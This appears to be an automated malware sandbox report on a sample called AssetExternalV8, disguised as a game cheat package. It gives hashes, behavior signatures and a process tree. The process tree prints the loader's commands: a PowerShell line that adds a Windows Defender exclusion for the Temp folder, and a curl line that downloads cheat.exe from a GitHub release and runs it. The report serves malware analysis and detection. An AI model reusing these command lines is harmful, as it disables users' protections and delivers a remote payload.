Overview
overview
8Static
static
1AssetExter...al.lnk
windows10-2004-x64
8AssetExter...al.lnk
windows11-ltsc_2024-x64
8AssetExter...ss.dll
windows10-2004-x64
1AssetExter...ss.dll
windows11-ltsc_2024-x64
1AssetExter...es.bat
windows10-2004-x64
8AssetExter...es.bat
windows11-ltsc_2024-x64
8AssetExter...ry.dll
windows10-2004-x64
1AssetExter...ry.dll
windows11-ltsc_2024-x64
1Mal/AssetE...al.lnk
windows10-2004-x64
8Mal/AssetE...al.lnk
windows11-ltsc_2024-x64
8Mal/AssetE...ss.dll
windows10-2004-x64
1Mal/AssetE...ss.dll
windows11-ltsc_2024-x64
1Mal/AssetE...es.bat
windows10-2004-x64
8Mal/AssetE...es.bat
windows11-ltsc_2024-x64
8Mal/AssetE...ry.dll
windows10-2004-x64
1Mal/AssetE...ry.dll
windows11-ltsc_2024-x64
1Analysis
- max time kernel
148s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
08/08/2026, 23:59
Static task
static1
Behavioral task
behavioral1
Sample
AssetExternalV8/AssetExternal.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
AssetExternalV8/AssetExternal.lnk
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral3
Sample
AssetExternalV8/dependencies/ACbypass.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral4
Sample
AssetExternalV8/dependencies/ACbypass.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral5
Sample
AssetExternalV8/dependencies/Libraries.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral6
Sample
AssetExternalV8/dependencies/Libraries.bat
Resource
win11ltsc2024-20260710-en
Behavioral task
behavioral7
Sample
AssetExternalV8/dependencies/memory.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral8
Sample
AssetExternalV8/dependencies/memory.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral9
Sample
Mal/AssetExternalV8/AssetExternalV8/AssetExternal.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral10
Sample
Mal/AssetExternalV8/AssetExternalV8/AssetExternal.lnk
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral11
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/ACbypass.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral12
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/ACbypass.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral13
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/Libraries.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral14
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/Libraries.bat
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral15
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/memory.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral16
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/memory.dll
Resource
win11ltsc2024-20260709-en
General
- Target AssetExternalV8/AssetExternal.lnk
- Size 1KB
- Sample260808-31te3azzgx
- SHA256 6dd4256f5e5818225f2ed4f2d378b9b70be3ccc52c70ea4d24ff1c338e4f9f5a
- MD5 0f6a404c26510641ceff4ce159bb4a2b
- SHA1 a926776e1d5744c13be1792e2ec2af92f88ff692
- SHA512 e829110d2725d45ac686c0c50e77bd6dc9ded950c501dfb6268c6aeac05cdce112d711195fac3a6473b08a78701f25a42dd1b642ef5ac32b58d80840bdb626f9
- TLSH T18B31CD5266C16F19E7BF0FB296F6A181C27C78217C0AD50C55949B8828B6A24E836736
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4264 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 9 852 curl.exe - Executes dropped EXE 1 IoCs
pid Process 2804 cheat.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3340 cmd.exe 3044 cmd.exe - Delays execution with timeout.exe 7 IoCs
pid Process 1400 timeout.exe 4792 timeout.exe 4248 timeout.exe 3068 timeout.exe 6040 timeout.exe 1976 timeout.exe 5396 timeout.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ cmd.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4264 powershell.exe 4264 powershell.exe 2804 cheat.exe 2804 cheat.exe - Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 4264 powershell.exe Token: SeIncreaseQuotaPrivilege 4264 powershell.exe Token: SeSecurityPrivilege 4264 powershell.exe Token: SeTakeOwnershipPrivilege 4264 powershell.exe Token: SeLoadDriverPrivilege 4264 powershell.exe Token: SeSystemProfilePrivilege 4264 powershell.exe Token: SeSystemtimePrivilege 4264 powershell.exe Token: SeProfSingleProcessPrivilege 4264 powershell.exe Token: SeIncBasePriorityPrivilege 4264 powershell.exe Token: SeCreatePagefilePrivilege 4264 powershell.exe Token: SeBackupPrivilege 4264 powershell.exe Token: SeRestorePrivilege 4264 powershell.exe Token: SeShutdownPrivilege 4264 powershell.exe Token: SeDebugPrivilege 4264 powershell.exe Token: SeSystemEnvironmentPrivilege 4264 powershell.exe Token: SeRemoteShutdownPrivilege 4264 powershell.exe Token: SeUndockPrivilege 4264 powershell.exe Token: SeManageVolumePrivilege 4264 powershell.exe Token: 33 4264 powershell.exe Token: 34 4264 powershell.exe Token: 35 4264 powershell.exe Token: 36 4264 powershell.exe - Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 3340 wrote to memory of 3044 3340 cmd.exe 90 PID 3044 wrote to memory of 4488 3044 cmd.exe 91 PID 4488 wrote to memory of 2540 4488 net.exe 92 PID 3044 wrote to memory of 1400 3044 cmd.exe 93 PID 3044 wrote to memory of 4792 3044 cmd.exe 94 PID 3044 wrote to memory of 4248 3044 cmd.exe 95 PID 3044 wrote to memory of 4264 3044 cmd.exe 96 PID 3044 wrote to memory of 852 3044 cmd.exe 98 PID 3044 wrote to memory of 3068 3044 cmd.exe 100 PID 3044 wrote to memory of 6040 3044 cmd.exe 101 PID 3044 wrote to memory of 2804 3044 cmd.exe 102 PID 3044 wrote to memory of 1976 3044 cmd.exe 103 PID 3044 wrote to memory of 5396 3044 cmd.exe 106
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\AssetExternalV8\AssetExternal.lnk1⤵
- Executes a command shell one-liner
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3340 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AssetExternalV8\dependencies\Libraries.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
PID:4488 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵PID:2540
-
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
PID:1400
-
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C:\Windows\system32\timeout.exetimeout /t 1 /nobreak3⤵
- Delays execution with timeout.exe
PID:4792
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C:\Windows\system32\timeout.exetimeout /t 1 /nobreak3⤵
- Delays execution with timeout.exe
PID:4248
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4264
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C:\Windows\system32\curl.execurl -L -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -o "C:\Users\Admin\AppData\Local\Temp\cheat.exe" "https://github.com/vortixgg/Cypherix/releases/download/fqweqfq/cheat.exe"3⤵
- Downloads MZ/PE file
PID:852
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
PID:3068
-
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C:\Windows\system32\timeout.exetimeout /t 1 /nobreak3⤵
- Delays execution with timeout.exe
PID:6040
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C:\Users\Admin\AppData\Local\Temp\cheat.exe"C:\Users\Admin\AppData\Local\Temp\cheat.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2804
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
PID:1976
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
PID:5396
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\AssetExternalV8\AssetExternal.lnk
- Size 1KB
- SHA256 3453abe59fb91f1531329102913ecac8abb86cbacd11e8f7d6b938474c8c2e8d
- MD5 ebee732fb194f1ed76e3d7c344d7f3ea
- SHA1 acf0a416a197e374a102e3267dfdedddab030195
- SHA512 81f32bff9a886b5cff7da82704040d312a9cd9652997fcea4df6af7c523151ee351e2707f27bae5e3d822f6e313c5099c01728452f6a0634cda1d3ec0a93eba2
- TLSH T1B441F2129DC16F0AD2BF5E7266F7618647BCF8346E06E90C1150938D1C62A51DD3973E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\cheat.exe
- Size 676KB
- SHA256 62aeb4d89cbe53cb8ec9eff1a5230cd9deedeb3605ee9825e936eb08c0543888
- MD5 1f86b763eec23eb36f5a530763b7a65d
- SHA1 79ae711c84382764dbdd1af03c12b5d61d9e1cfb
- SHA512 502b0364dc0136ccac70be2408cd98628cfa500a444fb97d72858c31b692d3223e1a11c6bd26f80bd09ebf6ad66ecf03429ff08a485182d7d7070c4115eb714e
- SSDEEP 6144:51oqMZHuAx9Jb4Fo2W3NkWQWrpoTSS2I5trhzkfgbSYB0U5gdIbmJFhsmNkrr3ZF:EbWTSSfKfcSYrgdIoyNrr3ZLC5Kcm
- TLSH T15BE4AE15A6E112F9E177C13ECAA64A56FAF2BC09076097C703E456E42F17BE44B3E312
- MD5 SHA1 SHA512 SSDEEP TLSH